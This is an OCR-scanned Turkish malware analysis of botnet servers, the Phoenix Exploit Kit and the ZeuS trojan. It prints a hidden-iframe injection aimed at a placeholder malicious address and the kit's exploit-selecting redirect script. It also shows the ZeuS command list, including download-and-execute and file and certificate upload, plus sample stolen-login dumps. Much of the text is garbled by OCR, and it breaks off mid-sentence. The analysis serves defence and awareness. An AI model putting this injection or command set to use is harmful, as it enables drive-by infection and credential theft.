BOT NETWORK - II
(BILGISAYARINIZ NELER SOYLUYOR)

Haber kaynaklarindan “Zeus, Zbot trojan yayan 2 kisi yakalandi.” , “Zbot internet
bankaciligini hedefliyor.” ya da *“ Antiviriis sirketi binlerce bilgisayardan olusan bir Botnet
ag1 tespit etti.” tiirtinden bilisim haberlerini isitmisizdir. Giin gectik¢e zararh yazilimlarin
yayilma orani biiyiik oranda artmaktadir. Zararl yazilimlarin hedefi haline gelen Internet
kullanicilary, tehlikeye maruz kaldiginda kisisel bilgileri ele gegirilir. Bilgisayar1 basinda
gergeklestirdigi tiim aktiviteler tehlikeli bir yazilim sayesinde bir yerde kayit altina alinir.
Bilgisayarmiz yaptiklarimizi adeta baskasma soyler. Kullanici bundan habersizdir. Tehlike
boyutunu sadece bireysel kullanicilar i¢in diisiinmemek gerekir, keza sirket i¢inde bir
bilgisayarda olusabilecek bir zafiyet network kombinasyonu i¢inde bulunan diger
bilgisayarlara da etki edebilir. Ge¢gmis yillarda, zararl bir yazilim tiirii olan Trojanlar entegre
oldugu bilgisayarda bir kap1 acarak(port) uzaktan erigsime olanak saglardi.

Fakat su an ki durum daha gelismis vaziyettedir. Olay1 su anki agidan baktigimizda tehlikenin
barindig1 bilgisayarda daha komplike isler gerceklesir.

Giiniimiizde zararli yazilimlar(Orn: Zeus) bilgisayarlara yerlestirildiginde bir sunucu
iizerinden kontrol edilmesini saglayan modiil dedigimiz par¢alardan olusur. Bu parcalar ana
program haricinde internet {izerinden kontrol i¢in sunucu gorevi goren bilgisayarlara kurulur.
Diisiindiikce akla su sorular gelebilir:

Bu sunucularm gorevi nedir?

Neden kullanicilari kontrol etmek i¢in bu sunucular kullanilir?

Bilgisayara yerlestirilen tehlikeli yazilim kontrol i¢cin neden ek parcalara ihtiya¢ duyuyor?
Zararli yazilimlar bilgisayarlara nasil bulagtiriliyor?

Bu sunucular zararl yazilimi yayan kisiler tarafindan m1 kurulmustur yoksa web sunucusu
olarak gorev insa eden bir sistem kirilarak ek pargalar bu web sunucularma mi1 enjekte
edilmistir?

Saldirganlari yaymis olduklar1 zararli yazilimlari kontrol eden sunucular(C&C servers)
iizerinde ¢esitli incelemelerde bulundum.

Yaptigim incelemelerde zararl yazilimlarin kontrolii i¢in kullanilan web sunucularin
cogunlugu dikkatimi cekti.

Bu web sunucularindan bazilar1 normal giindelik hayatta zararsiz bir sistem olarak goziikiir.
Ciinkii Internet kullanicilar1 bu web sunucularina baglanarak sorf islemlerini gerceklestirir.
Fakat arka planinda web sayfa gezintilerinin haricinde baska amaglar i¢inde kullanildigini
fark ettim.

Bu sunuculara yoneticisinin bilgisi haricinde bazi uygulamalarin yiiklenildigi goriiliiyor.
Saldirgan, yaym yapan bu web sunucularin aciklarini tespit ederek zararl yazilimin kontrolii
icin ayarlar1 gerceklestirir. Sistemin kirilarak girilmesi haricinde, sadece kullanicilarin
kontrolii i¢in kullanilan sunucularin varligi da azimsanmayacak kadar fazladir. Saldirganlar
kendi sunucularini kendisi ayarlayarak tiim kontroliin elinin altinda olmasin1 saglar. Oncelikle
Internet kullanicilara ait bilgileri toplamak i¢in gerekli ortam hazirlanir. Bunun i¢in tekbir
uygulama kullanilmaz.

Bir calistirilabilir(.exe) uygulamanin yaninda web sunucusu tizerinden takip i¢in bir betik
bulunur(.php). Bu betik sayesinde gerekli kisisel bilgiler kayit altina alinir. Elde edilen gizli
veriler sunucu iizerinde barindirilir. Barindirma islemi Mysql ¢atist altinda saklanir.
Gecmisteki bilgi hirsizlig1 yontemlerine istinaden su anki durum ileri seviyeye dogru
ilerlemekte.

Web sunuculari tizerinden takip islemi icin ¢ikarilan zararl uygulamalarin sayisinda artis
bunu dogrulamaktadir. Ozellikle yurt dis1 kaynakli bazi Internet sitelerinde(Underground tabir
edilen siteler)bu tiir zararli uygulamalar belirli bir tutar karsiliginda satilmaktadir.

Bu tiir uygulamalara ait yan modiilleri ayr1 olarak satilmaktadir. Bu modiil, ¢esitli 6zelliklere
sahip olan bir keylogger (klavye tus takip) olabilir.



Internet kullanicilarina ait sahsi bilgileri calmak i¢in kullanilan paket uygulamalar sayis1 fazla
olmasina ragmen bunlardan en ¢ok kullanilani ve kullanicilarin ¢oguna sikintili anlar yasatan
Zeus olarak belirtilen zararli yazilimdir. Mpack , Eleonore Exploits pack , Siberia Exploits
Kit , Zeus olarak adlandirilan ¢esitli zararli yazilim paketleri mevcuttur.

Hepsinin ortak yonii Internet kullanicilarin kisisel bilgilerini ele ge¢irmek i¢in popiiler
yazilimlarin zafiyetlerinden yararlanarak kullanicilarin sistemlerine Trojan tiirii tehlikeli
yazilimlar1 enjekte etmektir. Ornegin, Adobe Acrobat Reader yazilimda mevcut bir zafiyeti
kullanan bir .pdf dosyasi aracilig1 ile kullanicinin bilgisayarina Trojan yiiklenebilir ki su an
popiiler bir yontemdir. PDF dokiimanini acan kullanic1 farkinda olmadan sistemine yararh
yazilim yiikleyebilir. Exploit Pack olarak adlandirilan zararli yazilimlar sadece Adobe
Acrobat Reader yazilimmin zafiyetini kullanmaz. Bunun yaninda ¢esitli uygulamalarin
zafiyetlerinden yararlanarak sistem kontrol disi1 takip edilir. Bu takipten kullanicinin haberi
olmaz. Exploit Pack adi altinda kullanilan tehlikeli yazilimlarin bir sistemi takip
edebilmesinde en ¢ok kullanilan yontemlerden biride, kullanicinin bir web sayfasina
yonlendirilmesi taktigidir. Web sunucuda barindirilan web sitesinin sayfalarina gizli kodlar
yerlestirilerek sayfayi ziyaret edenler baska bir adrese yonlendirilir(iframe). Yonlendirilen
sayfa bir dizi islemler gerceklestirir. Belirttigim gibi kullanicinin sistemine

erismek icin ¢esitli zafiyet kontrolii yapilarak kullanici kontrol altina alinmaya ¢aligilir.
Ornegin Internet Explorer da bir zafiyet mevcutsa kullaniciya zararli uygulama bilgisi disinda
yiiklenir ve kullanici i¢in zor durumlarin baslangici olur.

Gilinlimiizde zararli yazilimlarm yayilimi i¢in Internet kullanicilar: haricinde belirttigim gibi
sunucularda kullanilmakta.

Bu sunucularm nasil ve ne sekilde kullanildigini inceleyelim.

Oncelikle saldirgan, elde edecegi Internet kullanicilarma ait kisisel bilgilerin
toplanacagi/saklanacagi bir ortam olusturmasi gerekir.

Bunun i¢in ya kendi sunucu sistemini ayarlayacaktir yada izinsiz olarak normal bir sunucuya
girip gerekli ayarlamalar1 yapmasi gerekir.

Incelemelerimde izinsiz girilen web sunucusundan baska kisisel olarak ayarlanmis ve sadece
bilgi toplama amaciyla gerekli ortam hazirlanmis bilgisayarlar1 da tespit ettim.

Izinsiz giris yapilan sunucular genellikle web sunucular1 idi. Web sunucusunda barindirilan
bir siteye ait glivenlik a¢ig1 mevcut oldugunda sitenin

barindirildig: dizine bilgi toplama i¢in gerekli kodlarm yiiklendigini gérdiim. Boylece internet
kullanicisiin bilgisayarina enjekte olan calistirilabilir dosya(.exe v.b.) bu sunucuyla
baglantiya gecerek gerekli verileri sunucuda toplanmasini saglar. Toplanan bu verilerin i¢inde
kullaniciya ait baglanti sifreleri, baglanti adresleri gibi sahsi bilgiler bulunur. Bu bilgileri ele
geciren kisi/kisiler gdzlerden uzak tutmak i¢in bilgilerin toplandig1 sunucu kisisel sunucudur.
Herhangi bir paylasim, hosting islemi i¢in kullanilmaz. Bu sunucu kullanicilar1 zor durumda
birakacak cesitli giivenlik zaaflarinin yaralanildigi bir sunucudur. Tehlikeli ¢calistirilabilir
dosyalar bu tiir sunucudan yayilirlar. Tehlikeli uygulamalarin yayilmasi i¢in kullanicilari
aldatma yollaria basvurulur.

Bu nedenle 6zellikle sunucu barindiran hosting sirketlerinin dikkatli olmas1 gerekir. Sadece
hosting firmalar1 bazinda bakmamak gerekir. “.php, .asp, .cgi” tipi sayfa kodlamasi ile
ugrasan yazilimcilarinda olusturduklar1 bu sayfalarinda da bir giivenlik zaafi olusturup
olusturmadiklarini tespit etmeleri gerekir.

Neticesinde giivenlik zaafi bulunduran bir sayfa iizerinden sunucuya gizli bir sekilde dosya
aktarimi gerceklesebilir. Sayfa icerisine bir iframe yerlestirilmesi sonucunda saldirgan sayfay1
ziyaret eden kullanicilar1 kendi kisisel sunucusuna yonlendirip tehlikeli yazilimlarin
yayilmasini saglayabilir.



Phoenix Exploits Kit

Nisan(2010) ay1 i¢erisinde Antivirlis yazilim sirketlerinden biri 6nemli bir ticari kurulusun
web sayfasi igerisine bir kod yerlestirildigini belirtti.
Bu kod pargas1 suydu:

<body class="stylel"><iframe_src="http;//tehlikeliadres/web/index.php" width="0" height="0"
frameborder="0"></iframe>

Bu kod, site yoneticisinin haberi disinda gizlice yerlestirildigi kesindi. Bu kurulusun internet
adresini ziyaret eden bir kullanic1 direkt olarak http://tehlikeliadres/web/index.php adresine
yonlendirilir. Boylece kullanicinin bilgisayarina tehlikeli yazilim yiiklenerek kullaniciya ait
kisisel bilgiler dogrudan yonlendirilen sistemin veritabanina islenir. Boylece sistemi
ayarlayan saldirgan kullanicilarin bilgilerini istedigi zamanda ve istedigi yerden takip
edebiliyordu. Bu takip islemi nasil gergeklestiriliyor? Saldirgan kimlerin bu adrese
yonlendirildigini, kimlerin bilgisayarlarina tehlikeli yazilimm ytiklendigini nasil
anlayabiliyor?
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Kullanicinin yonlendirildigi sistem saldirganin kendine ait 6zel olarak hazirladig: bir sistem
olarak belirttik.

Bu sistem tamamaiyla saldirganin istedigi dogrultuda calisir. Kullanicilarin bilgisayarlarina
tehlikeli yazilim(.exe) buradan yayilir. Yeter ki kullanici bu sisteme yonlendirilsin.

Y o6nlendirilen bu adresi inceledigimde bu adres sadece bilgi toplama amaciyla yonetilen bir
sunucudan ibaret oldugunu gordiim. Kullanicilara ait bilgi birikimini gergeklestiren bu
tehlikeli adreste SSH(22), HTTPD(80) ve MY SQL(3306) veritaban1 yonetim sistemi
kuruldugu goziikiiyor. Bu sisteme, sunucu yazilimlarinin kullanicilara ait bilgilerin ele
gecirilmesi i¢in kuruldugu goriilityor. Peki, kullanic1 kendi istegi disinda yonlendirildigi
adrese baglandig1 zaman ne tiir islem gergeklesir?

Kullanic1 yonlendirildiginde kullandig1 isletim sistemi ve web browsermin siiriim kontrolii
gerceklesir. Neticesinde kullanicinin sisteminde zaaflik mevcutsa kullanicinin bilgisayarina
zararli yazilim otomatik olarak yiiklenir. Belirttigim zararl yazilimin kullaniciya
bulastirilmasi i¢in ilk 6nce sistemine ait zaaflik kontroliiniin yapilacagiydi.

Ornegin;

Asagida yonlendirme betiginde yer alan bir kod parcgas1 yer almaktadir. Bu kod pargasi
index.php isimli betikte yer almaktadir.

<?php



require_once( "configuration/config.php" );

require_once( "includes/functions.php" );

require_once( "includes/connectdatabase.php" );

$ip = $_SERVER['REMOTE_ADDR'];

$r = mysql_query( "SELECT 1 FROM stats WHERE ip="'{$ip}' AND time>UNIX_TIMESTAMP()-{$BANTIME}" );
if (0 < mysqgl_num_rows( $r) )

.s.witch ( $browtype )
{

case "MSIE" :

if (($MSlEversion == 7.0) and (($osver=="Windows XP") or ($osver=="Windows XP SP2") or ($osver=="Windows 2003")))
{readfile( "tmp/xpie7.html" );}

if (($MSlEversion == 7.0) and ($osver=="Windows Vista")) {readfile( "tmp/vistaie7.htmlI" );}

if (($MSlEversion == 8.0) and (($osver=="Windows XP") or ($osver=="Windows XP SP2") or ($osver=="Windows
2003"))){readfile( "tmp/xpie8.html" );}

if (($MSlEversion == 8.0) and (($osver=="Windows Vista") or ($osver=="Windows 7"))){readfile( "tmp/vistan7ie8.html" );}
if ((($MSIEversion != 8.0) and ($MSIEversion != 7.0))) {readfile( "tmp/ie.html" );}

break;

default :

if (($osver=="Windows XP") or ($osver=="Windows XP SP2") or ($osver=="Windows 2003")) {readfile( "tmp/xpother.htmlI" );}
if (($osver=="Windows Vista") or ($osver=="Windows 7")) {readfile( "tmp/vistan7other.html" );}

)
exit( );

?>

Kullanicmin sistem durumu “index.php” betiginde yer alan durumu uygunsa xpie7.html
(tmp/xpie7.html) dosyasi aktif hale gelir.

Neticesinde bilgisayara “.exe” dosyas1 otomatik olarak ¢alisir ve kullanici ile saldirganin bu
sistemi arasinda veri alisverisleri baglar.

Bu tiir islemlerin hepsi birer paket halindedir. Sistemin kontrol, kullanictya dosya bulagmasi,
kisisel bilgilerin veritabanina kaydedilmesi bir dizi igslemler neticesinde gergeklesir.
Saldirgana ait olan bu sisteme Linux CentOS kurulmus. Sistemin dizin yapis1 incelendiginde
farkl farkli web adresleri bulunuyor ve temel gorevi kullanicilar aldatilarak kisisel bilgilerin
Mysql vasitasiyla biriktirilmesiydi. Sistemde internet adresleri olarak “.ru” uzantili adreslerin
ayarlandig1 goriiliiyor. Kimi adresler pasif hale getirilmis. Kullanicilarin yonlendirildigi
adresler giin yiiziine ¢iktikca(gizliligini yitirdikce) sistem iizerinde baska domainler
ayarlaniyor. Saldirganin sisteminde kurulu olan bu “Phoenix Exploit Kit” aracinin dizin
yapist:

druxr-xr-x
drusr-xr-x

apache apache 48946 Apr 15 B8:32 tmp
apache apache 48946 Apr 15 BB:32 webstat

Phoenix Exploit Kit’e ait dosyalar.

-rw-r——r—-— 1 apache apache 28118 Apr 15 B88:32 1.php
-rw-r—-r—-— 1 apache apache 1822 Apr 15 B8:32 activate.php
drwxr-xr-x 2 apache apache 4896 Apr 15 BB:32 configuration
-rw-¥—-r—-— 1 apache apache 225288 Apr 15 B8:32 exe_exe
drwxyr-®r-x 2 apache apache L4896 Apr 15 B8:32 images
druxr-xr-x 2 apache apache 4896 Apr 15 B8:32 includes
-rw-r--r-— 1 apache apache 1877 Apr 15 BE:32 index.php
-rw-r--r-— 1 apache apache 1292 Apr 15 B8:32 1.php
-rw-r--r-- 1 apache apache 23474 Apr 15 B8:32 statistics.php

2

2

Phoenix Exploit Paketine ait konfigiirasyon dosyas1 ./configuration dizininde yer aliyor. Bu
config.php dosyasi Exploit paketinin ana dosyasidir.

Nedeni, icerisinde yer alan bilgiler vasitasiyla dosyalar(.php dosyalari) sistemde ¢alisan
Mysql veri tabaniyla iletisime gecerek kisisel bilgilerin veritabani takibine olanak saglar.

$/var/www/$ cd configuration/



$configuration$ Is

config.php

$configuration$ cat config.php

<?php
$DBHOST = "localhost";
$DBNAME = "p___";

$DBUSER = "root";

$DBPASS = "xz26767e";

$ADMINPW = " c00e88cbd1d78dccdebapache4db3e990e9e";
$BANTIME = 86400;

$SOUND = "Disabled";

$COUNTRIES = array("US" => "exe.exe");

?>

Exploitin kitin tmp dizini incelendiginde pdf ve html uzantili dosyalar goriilmektedir.

$/var/www/$ cd tmp/
$tmp$ Is -1

total 1apache

-rw-r--r-- 1 apache apache 2678 Apr 15 08:32 all.pdf
-rw-r--r-- 1 apache apache 2465 Apr 15 08:32 allv7.pdf
-rw-r--r-- 1 apache apache 2012 Apr 15 08:32 collab.pdf
-rw-r--r-- 1 apache apache 8539 Apr 15 08:32 des.jar
-rw-r--r-- 1 apache apache 1645 Apr 15 08:32 flash.swf
-rw-r--r-- 1 apache apache 2003 Apr 15 08:32 geticon.pdf
-rw-r--r-- 1 apache apache 14939 Apr 15 08:32 ie.html
-rw-r--r-- 1 apache apache 3514 Apr 15 08:32 libtiff.pdf
-rw-r--r-- 1 apache apache 1975 Apr 15 08:32 newplayer.pdf
-rw-r--r-- 1 apache apache 1906 Apr 15 08:32 printf.pdf
-rw-r--r-- 1 apache apache 14415 Apr 15 08:32 vistaie7.html
-rw-r--r-- 1 apache apache 8747 Apr 15 08:32 vistan7ie8.html
-rw-r--r-- 1 apache apache 13734 Apr 15 08:32 vistan7other.html
-rw-r--r-- 1 apache apache 14420 Apr 15 08:32 xpie7.html
-rw-r--r-- 1 apache apache 8714 Apr 15 08:32 xpie8.html
-rw-r--r-- 1 apache apache 14129 Apr 15 08:32 xpother.html

.pdf ve .html dosyalar1 ¢esitli glivenlik zaaflarindan yararlanip kullaniciya dosya(ana dizinde

bulunan exe.exe isimli dosya) aktarimini gergeklestiren
tehlikeli dosyalardir.

ZeuS(Zbot/WSNPoem)

Sistem gilivenligi lizerine arastirma yapan sirketlerden tutun giindelik haber sitelerinde konu
olan ve halen meshurlugunu koruyan bir tehlikeli yazilim paketidir. Yiiksek fiyata alicis1
bulunan bir pakettir. Kontrol paneli ve “exe builder” ad1 altinda ayr1 olarak ta alicis1
bulmaktadir.Bu kadar meshur olmasinin sebepleri arasinda E-Posta sifreleri,Online
Bankacilik sifreleri, FTP sifreleri gibi 6zel bilgileri toplayabilmesi. Ayrica bulastirildig:
bilgisayarlara kontrol paneli tizerinden tek komutla istedigi sekilde yon vermesi de ayr1 bir
ozelligidir. ZeuS sug paketinin kurulu oldugu bir sunucu iizerindeki Mysql tabanl bir
veritabanini inceledigimde kaydedilen bilgilerin biiyiikliigli sasirticiydi. ZeuS’a ait “Exe
Builder” isimli uygulamasiyla ayarlanan kendine has yapilandirma dosyasi vasitasiyla ne tiir
kullaniciya ait ne tiir bilgilerin ele gegirilecegi ayarlanabilir. Ayarlama islemi sonucunda bilgi
toplama i¢in gerekli “.exe” dosyasi1 kullanicilara bulastirilma islemi baslar. Bunun i¢in
kullanilan en 6nemli taktiklerden biri glivenilir site lizerinden yayim islemi ve bir digeride
E-Posta tizerinden yayilimdir. Kullanicilarm bir link sunulur. Bu link iizerinden .exe dosyas1
kullanicinin bilgisayarina aktarilir(aktarma islemi giivenlik zaaflari tizerine kuruludur).



Boylece kullanicinin bilgisayari ile saldirgana ait sisteme arasinda bilgi aligverisi baglar.
Saldirganinda bilgileri, ZeuS Kontrol Panel {izerinden incelemesi kalir.
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HTTP, HTTPS, FTP ve POP3 paketlerini yakalama 6zelligini iyi kullanir.
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Islem sonunda kullanicilar enjekte edilecek olan .exe dosyasi(Orn: Bot.exe) olusturulur.
Bu tehlikeli .exe dosyasi bilgilerin nereye aktaracagini, ne sekilde ele gecirecegini bilir.

Zeus/WSNPoem Internet kullanicisinin bilgisayarinda mevcut ise kigisel bilgilerin
gonderilecegi bir sunucu mevcut olmasi gerekir.

Bunun i¢inde bu araci hazirlayan kisinin uygun bir alt yapiy1 olusturmasi gerekir. Zeus igin
onemli olan olusturulan “.exe” dosyasindan ziyade konfigiirasyon (Orn: cfg.bin) dosyasidir.
Zeus ne sekilde davranacagini bu konfiglirasyon dosyasindan 6grenir. Konfigiirasyon
dosyasmin giincel olmasi olusturulan .exe dosyasi i¢in yeterlidir. Bu nedenle bazi sitelere
izinsiz giris yapilarak sadece konfigiirasyon dosyasi(cfg.bin) o siteye yerlestirilir. Exe dosyasi
o site lizerinden dosyay1 okuyarak gerekli bilgileri baska bir sunucuya aktarir.

Saldirgan, bilgilerin kayit edildigi sunucusuna online kontrol paneli araciligiyla baglanarak
gerekli incelemeleri gerceklestirir.

) login - Mozilla Firefox

Dosya Diizen GorOnim  Gecmig  “er Imleri  Araglar  Yardim

@. - c 2 e ]l-http:,l',l'“cn,l'"p.php?m:login

!_- |;'"| login ﬁ_ = :

User narne: | |

Password: | |

I:‘ Rermermber (MD5 cookies)

Kullanicilari takip etmek i¢in gereken giris paneli.
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CP 11 08 statistics

[®. -
=97 Googls

Information:
e S 05 list for bomet: [EIES IS
GMT dste: 18,02,2010
GMT time: 07:54153 %P Homne Edition $P 3, build 2600 350
T P Horne Edition SP 2, build 2600 324
%P Professional SP 2, build 2600 260
RLIm e HP Professional 5P 3, build 2600 196
=0 Vista Heme Edition SP 1, build 6001 57
Botnet: Vista Hame Edition SP 0, build 6000 38
G Other 34
Vista Hame Edition SP 2, build 6002 20
Scripts 5 v
i Vista 3P 1, build 6001 5
Repuses Vista SP 0, build 6000 4
Search in database P Professional 8P 1, build 25600 z
Search in files vista SP 2, build 6002 z
System:

Information
Options
User

Users

Logout

Zeus’ un enjekte oldugu kullanicilara ait sistem bilgileri.

") Full information about bots - Mozilla Firefox

Dosya Digen Gérdndm  Geemis  Yer Imleri  Araglar  Yardim

= € 0 {ar [ htpijedsenaseniTip phptbotsaction=Fullnfossabatsl I=fm winbasedeskiesssiniat
‘ |j CP :: Bots s | |j Full information about bots 8 | +

CuLEL (EyFs
Wersion: 1.2.1.10

OF Wersion: ®P Horne Edition SP 2, build 2600
0% Language: 1041

SMT: +0:00

Country: ap

IPud: 20 IIATTLSS

Latency: 0,400

Socks/LC port: 20419

Tirne of first report:  09,02,2010 23:24:07
Tirme of last report:  15,02,2010 05:01:14
Online time: 00:22:32

In the list of installs: Mo

In the list of used: Mo (W

Cormrments: [

3 ODN - Microsoft Internet Explorer

FrAME REE BTN BRCANGE WD ANTH

= . A s @ S T e
9= @ & A& Onr drorn & 2
TELAD) | &) http/ A odhngipd

NThU | AH=Y | Za=R | HER B ODNA
ODN | |
EEF-P-F o BHO-) ElET Boto B ET—m &l
.exe dosyasinin bulastig1 internet kullanicisinin yaptigi isleme ait ekran goriintiisii anlik olarak
saldirgan tarafindan izlenebilir.

Saldirgan tarafindan hazirlanan bir sistemde yer alan Zeus’a ait dosyalar:

$Is -1 /var/www/____.cn
theme
system
install
_reports
socklists.php
Redir.php
p-php
index.php
e.php
404.php
.htaccess

Kullanicilara ait bilgi dokiimleri “ reports” dizininde oldugu goriiliir.



Ornek bir bilgi dokiimii:

bot_id=infected_pc_73629da9

botnet=btn1

bot_version=1.3.3.0

ipv4=82.xx.xx.161

country=GB

type=12

rtime=08:13:06 07.02.2010

time_system=08:12:53 07.02.2010

time_tick=00:02:33

time_localbias=+0:00

os_version=0ther

language_id=1033

process_name=C:\Program Files\Internet Explorer\iexplore.exe
process_user=INFECTED-PC\Infected_User
path_source=https://login.facebook.com/login.php?login_attempt=1
context=
https://login.facebook.com/login.php?login_attempt=1

Referer: http://www.facebook.com/

User input: input_data_xxxxxxx

Data:

charset_test=XXXXXXXXXXXXX

locale=en_GB

non_com_login=
email=user_mail_adress_hacked@hotmail.com
pass=%userpassword%

3k >k 3K 3K K 3K 5K 5K K K 5K K K K Kk kK kK ok

process_name=C:\Program Files\Internet Explorer\IEXPLORE.EXE
process_user=
path_source=http://www.kullanici_web_form_baglanti/auth/login.aspx
context=

LoginType=Explicit

user=kullanici_adi
password=kullaniciya_ait_sifre
submitMode=submit

slLanguage=en
ReconnectAtLoginOption=DisconnectedAndActive
login=Log In

Yukarida 6rneklerini verdigim rapor dokiimlerinde kullanicilara ait sifreli baglanti islemleri
net olarak belli olmaktadir.

LR ;; Hats - Mozills Firefox

G - c L hitp:/fedmmptd o' 8/p phpimabotnet _bats

| CP :: Bots +

Informatian:

P 0. ]
QMT dute: 18.02-2000 Bots: HAT status) Tutside
ST timm: 07 1959:25

e — Botnats: Online status; Online
PR IP-addrassas: Install status
oE Courntrias: | Ured riatur:

" Comments status) -
e G
Scripts

Rusparts:
et e
Search in files Bots adtion: | Full wfarmnatian -

- L2 AT, Y [T
Irfarmation [ 1 et 255 Stnl  1.5.1,10 Gl 51 [T 02:27148
Cptians [ 2 cne—————— 7 Bnl L3110 Lecheepee 35 AR 14002124
Usar [ 3 compeimettta t7h  binl 151,10 1 eeeme——— F EBizES1
Uiars (] kil 0 Y4 Gtn]l 1,300, 10 bbbl I F 001743
Logout [ 5 nod——c1  Strl 1277 e GE 6E: 25146

[ & usommum—: BAl  1.3.1.10 Gt GE 16:24:159
[ 7 vomk—————— | Binl  1.3.1.10 Sonkbieldel SE 66124150
[T] 5 woilebiatent 1 Btnl 131,10 Gl  GB oonomInE

Kontrol edilebilecek bilgisayarlar anlik olarak goriintiilenir.



php il Adnin
o ||= (=)

. Meritabant _
'_ (18] x|

A (1)

B botnet list

B botnet repors

B botnet repors_ 400209
B botnet_repars 100210
B botnet_repors 100211
B botnet repors 100242
B botnet_repars 100213
B botnet repors 00214
B botnet reparts 100215
B botnet reparts 100216
B botnet_repors_ 400217
B botnet_repars 100212
B botnet scripts

B botnet scripts stat

B cp_users
B ipwioc

ZeuS Aracina ait mysql tablo listesi. Mysql altinda gerekli hazirliklar yapilmazsa saldirgan
kullanicilara ait sahsi bilgilerin takip esnasinda sikint1 ¢eker. Bu nedenle 6ncelikle ZeuS
kurulumunda gerekli olan veritabani i¢in gerekli hazirliklar1 yapmasi gerekir.

ZeuS Kontrol paneli vasitastyla ayn1 anda tiim bilgisayarlara(enfekte olanlara) komut
gonderme islemi gerceklestirilebilir. Boyle saldirgan sadece bilgileri ele gecirmekle kalmaz,
bilgisayarlara da hilkmeder. Kontrol i¢in kullanilan komutlar nedir? Bunuda ZeuS aracinda
yer alan “botnet_scripts.php” isimli dosyay1 inceledigimizde goriiyoruz.

$cat zeus/system/botnet_scripts.php

$_COMMANDS_LIST = array
(

'reboot’ => 'Reboot computer.',
'kos' => 'Kill 0S.",
'shutdown' => 'Shutdown computer.',

'bc_add [service] [ip] [port]' => 'Add backconnect for [service] using server witn address [ip]:[port].',

'bc_del [service] [ip] [port]' => 'Remove backconnect for [service] (mask is allowed) that use connection to

[ip]:[port] (mask is allowed).',

'block_url [url]' => 'Disable access to [url] (mask is allowed).',
'unblock_url [url]" => 'Enable access to [url] (mask is allowed).’,

'block_fake [url]' => 'Disable executing of HTTP-fake/inject with mask [url] (mask is allowed).’,
'unblock_fake [url]' => 'Enable executing of HTTP-fake/inject with mask [url] (mask is allowed).',

'rexec [url] [args]" => 'Download and execute the file [url] with the arguments [args] (optional).',

'rexeci [url] [args]' => 'Download and execute the file [url] with the arguments [args] (optional) using
interactive user.',

'lexec [file] [args]' => 'Execute the local file [file] with the arguments [args] (optional).',

'lexeci [file] [args]' => 'Execute the local file [file] with the arguments [args] (optional) using interactive
user.',

'addsf [file_mask...]' => 'Add file masks [file_mask] for local search.',
'delsf [file_mask...]' => 'Remove file masks [file_mask] from local search.’,
'getfile [path]’ => 'Upload file or folder [path] to server.',
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'getcerts' => 'Upload certificates from all stores to server.',

'resetgrab’ => 'Upload to server the information from the protected storage, cookies, etc.’,
'upcfg [url]' => 'Update configuration file from url [url] (optional, by default used standard url)’,
'rename_bot [name]' => 'Rename bot to [name].',

'getmff' => 'Upload Macromedia Flash files to server.’,

'delmff’ => 'Remove Macromedia Flash files.’,

'sethomepage [url]' => 'Set homepage [url] for Internet Explorer.'

);

Komut listesinde yer alan bazi komutlar vardir ki, sanki kullanicmnin bilgisayarimni
kullantyormus gibi gerekli islemleri yaptirabilir. Ozellikle “rexec” komutuyla kullanicinin

bilgisayarma istenilen dosya yiiklenip, ¢alistirilabilir. Bu komutlarin hepsi online olarak
yiirirliige konur.

plls Freton (ol 20 A0 THERSH

Dops  Dipen  Gwirim  fgweg Yoy Deleri  trader  Yorde

'C|X e e o -4
P s -

Infrermation:
= s
u#:ul.‘;:.ur.';m sovan [Frabie ] _22 I M
GMT timai 164358
b (] CE=N TN [P opeyYPOee P STYT e oSS [ren pas
[ woripe_tzecs10000 Danblad 19.02.2010 22:23124 o L] L] ]
[T sivpa_ L TERERITIS Poabbad 30,63.3010 19:30:38 ] L] L] ]

Summary
as
Dotrat:
Bokn
— Soripem
Hegrrts:
Swan = delabase
Bearch i file
Iebear rptiter

Infarmatian
oy

<Fran (P kil 300 DN 20 3 BRSSO

Doge Dupen  Goundn | Gegsy  Tplelei Made  forde

[has © H A | e < =t gl = m
| Ve ot
peeenge ——— — —— — ]
Hams: rn-n_:EP:I.HHI
Stabun Trabted 2]

Lirrdt of garsdnr |0
Lint of boka I
List of botnatas |
Lint of coartriaa |
[7) Cortmat:  [aRcpdzan

Sevw II D-hn-ﬂ!*umnml
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5

httpeifzeus_adresfadmindcontrol. php

Zeus Kontral MerkezilC & C)

Kullamcilara bulagan
dosya, kigisel bilgileri
saldirganin yapilandirdid
sisterne aktanliyar

saldirgan

|
|
|
4 |
|
|
|

! ¥ ziframe_sre=hitp=

i
—>
c kullaracilar bagka bir adrese =

1 Yiah Sitesi wdnlendirilivor F!df E}{plqit
Kullanicilar - 2 ie exploit
0 |
e e e e e e e e o o _
.exe dosyas kullanicilara aktanliyar
3

ZeusS kontrol ortami. Dosyanin kullaniciya bulagma siireci.

&“ zeus trojan remover @ Gy @

Report: Other Free Software:

Scanning For ZBot infection. .. . I
Removed ZBat Trojan: C:\WINDOWS, syskem32isdratd . exe Malware Remover

Infected Process: winlogon.exe [954)] * Hiiack Hunter
Anack nunter

Done scanning.

. * Uploader
" 1 ) Do wou wank ko reboot the syskem ¥ * MD5 Checksum

* Websites Cop

[ Evet ] [ Havyir

> scan Options Exit www.novirusthanks.org

Tntermet (C) MovirusThanks Company Stl
Explarer

Zeus trojan remover ile kullanici bilgisayarinda bu tehlikeli yazilimin olup olmadigmi
ogrenebilir. Eger ZeuS mevcutsa oncelikle kullanici, FTP sifrelerini ve e-posta sifrelerini
degistirmesi gerekir.

“Binlerce bilgisayarin olusturdugu Botnet bulundu.” seklindeki uyarilar eksilmeyecek gibi.
Internet kullanicilar1 farkinda olmadan bilgisayarlarina zararli yazilimlarin yiiklenme orani
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devamli olarak artmakta. Yazilimlarda ortaya ¢ikan giivenlik zaaflar1 kullanicilar1 zor
durumda birakiyor. Giivenlik zaafinin sonuglari, kullanicilara giin gegmeden yansiyor. Kimi
zaaf, kullanicilarin bilgisayarina ulasan solucan olarak, bir diger zaaf ise sifreleri ele gegiren
zararli yazilimin otomatik olarak kullanicinin sistemine yiiklenmesini sagliyor.

PDF DOKUMAN ANALIZi

Son zamanlarda Adobe Acrobat Reader ve diger PDF okuyucu araglarina yonelik giivenlik
zaaflar1 ortaya ¢ikmasidan sonra PDF dosyalari i¢ine ¢esitli kodlar eklendi. PDF popiiler bir
belge bicimi oldugundan bu dosya tiirii araciligiyla zararl yazilimlar yayilmistir. Internet
kullanicilarin sahsi bilgilerini toplamak i¢in ayarlanan bir sunucuda mevcut olan bir PDF
dokiimanini inceleyelim. Bu PDF dokiimani agan kullanici eger PDF okuyucusunda giivenlik
